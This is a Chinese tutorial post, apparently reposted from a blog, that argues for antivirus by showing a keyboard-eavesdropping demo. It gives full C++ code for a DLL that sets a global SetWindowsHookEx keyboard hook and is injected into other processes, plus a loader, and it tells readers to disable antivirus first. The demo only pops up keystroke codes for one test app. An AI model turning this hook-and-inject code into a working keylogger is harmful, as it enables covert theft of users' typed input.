一:背景

1.讲故事

前几天群里很热闹,看了下在争论两个问题:

  • 电脑里要不要装杀毒软件 ?

  • 应该装什么杀毒软件 ?

不管杀毒软件流氓不流氓,在如今病毒肆虐的当下互联网,装一个还是能帮我们拦截很多意想不到的东西,为了眼见为实,这一篇我们就聊一个窃听 键盘事件 的恶意代码。

2. 思路

实现思路非常简单,一旦某个程序触发了键盘事件,就给目标程序注入一个 dll,在这个 dll 中来实现窃听的业务逻辑,简而言之就是在 OS -> WPF 的消息传递链路上安装一个 消息钩子

二:键盘窃听

1. 新建 WPF 程序

要截获 WPF 的键盘事件,首先得新建一个 WpfApp1.exe 程序,放一个文本框,等一会我们要窃听它,截图如下:

2. 注入进程的 MyHook.dll

新建一个 C++ 的动态链接库项目,取名 MyHook.dll,这个 dll 是用于动态注入到 WpfApp1 中做窃听的,参考代码如下:


#include "pch.h"

#include "stdio.h"
#include "windows.h"
#include <string>

using namespace std;

HINSTANCE myhookModule = NULL;
HHOOK g_hHook = NULL;

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {

	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:myhookModule = hModule;  break;
	}
	return TRUE;
}

LRESULT CALLBACK MyKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {

	char szPath[MAX_PATH] = {};

	if (nCode == 0 && !(lParam & 0x80000000)) {

		//1. 提取程序名
		GetModuleFileNameA(NULL, szPath, MAX_PATH);
		char* p = strrchr(szPath, '\\');

		//2. 监控 WpfApp1.exe
		if (!_stricmp(p + 1, "WpfApp1.exe")) {
			wstring content = L"您的按键:" + to_wstring(toascii(wParam));
			MessageBox(NULL, content.c_str(), L"友情提示", 1);
		}

	}
	return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

extern "C" {
	__declspec(dllexport) void HookStart() {
		g_hHook = SetWindowsHookEx(WH_KEYBOARD, MyKeyboardProc, myhookModule, 0);
	}

	__declspec(dllexport) void HookStop() {
		if (g_hHook) {
			UnhookWindowsHookEx(g_hHook);
			g_hHook = NULL;
		}
	}
}



代码逻辑很简单,大概分三块:

  1. SetWindowsHookEx

在 Win32Api 中提供了一个叫 SetWindowsHookEx 函数用来设置消息钩子,从方法参数中可以看到,可以指定对某一类消息进行监听,并且还能触发相应的回调函数,比如这里的 MyKeyboardProc,消息类型参考如下:


#define WH_MIN              (-1)
#define WH_MSGFILTER        (-1)
#define WH_JOURNALRECORD    0
#define WH_JOURNALPLAYBACK  1
#define WH_KEYBOARD         2
#define WH_GETMESSAGE       3
#define WH_CALLWNDPROC      4
#define WH_CBT              5
#define WH_SYSMSGFILTER     6
#define WH_MOUSE            7
...

最后通过 C 的方式导出 HookStartHookStop 函数,方便宿主提前启动。

  1. MyKeyboardProc

这个是具体的回调函数,逻辑很简单,就是对 WpfApp1.exe 程序的键盘事件的触发提前处理,其他程序触发的事件我们不需要处理,最后通过 MessageBox 的方式将输入的键值以 ascii 码的方式打印出来。

  1. DllMain

这个是 DLL 的入口函数,和 exe 的 Main 的作用是一致的,我们在dll被加载的时候,记录下 module 的实例,方便操作系统将这个 module 注入到其他进程中。

3. MyHook 的宿主 MyHookMain.exe

接下来新建一个名为 MyHookMain.exe 的 C++ 程序,目的就是调用 HookStart 函数,参考如下代码:


#include <iostream>
#include "stdio.h"
#include "conio.h"
#include "Windows.h"

typedef void(*MY_HOOKSTART)();

int main()
{
	HMODULE hDll = LoadLibrary(L"MyHook.dll");

	MY_HOOKSTART hookStart = (MY_HOOKSTART)GetProcAddress(hDll, "HookStart");

	hookStart();

	printf("hookStart 已成功启动!");

	getchar();

	FreeLibrary(hDll);
}

接下来把程序跑起来,如果正常就启用了消息挂钩,截图如下:

4. 演示

所有工作准备好之后,接下来把杀毒软件关掉,对,就是杀毒软件,然后打开 WpfApp1.exe 程序,随便输入一个字符,马上就能看到该字符的 ascii 码,截图如下:

既然有弹框,肯定是走了 MyKeyboardProc 逻辑,那怎么验证呢?可以用 Process Explorer 工具看一下 WpfApp1.exe 中有没有注入 MyHook.dll 就可以了。

太棒了,真的注入进去了,如果你开启杀毒软件,或者某些卫士,你会发现 SetWindowsHookEx 函数不起作用了, MyHook.dll 也不会注入到进程中。

三:总结

这个例子很好的告诉了我们,恶意程序无处不在,防不胜防,如果你的系统真的放在裸机下跑,总会有中招的时候,所以杀毒该装的还得装。

原文地址:http://www.cnblogs.com/huangxincheng/p/16914041.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性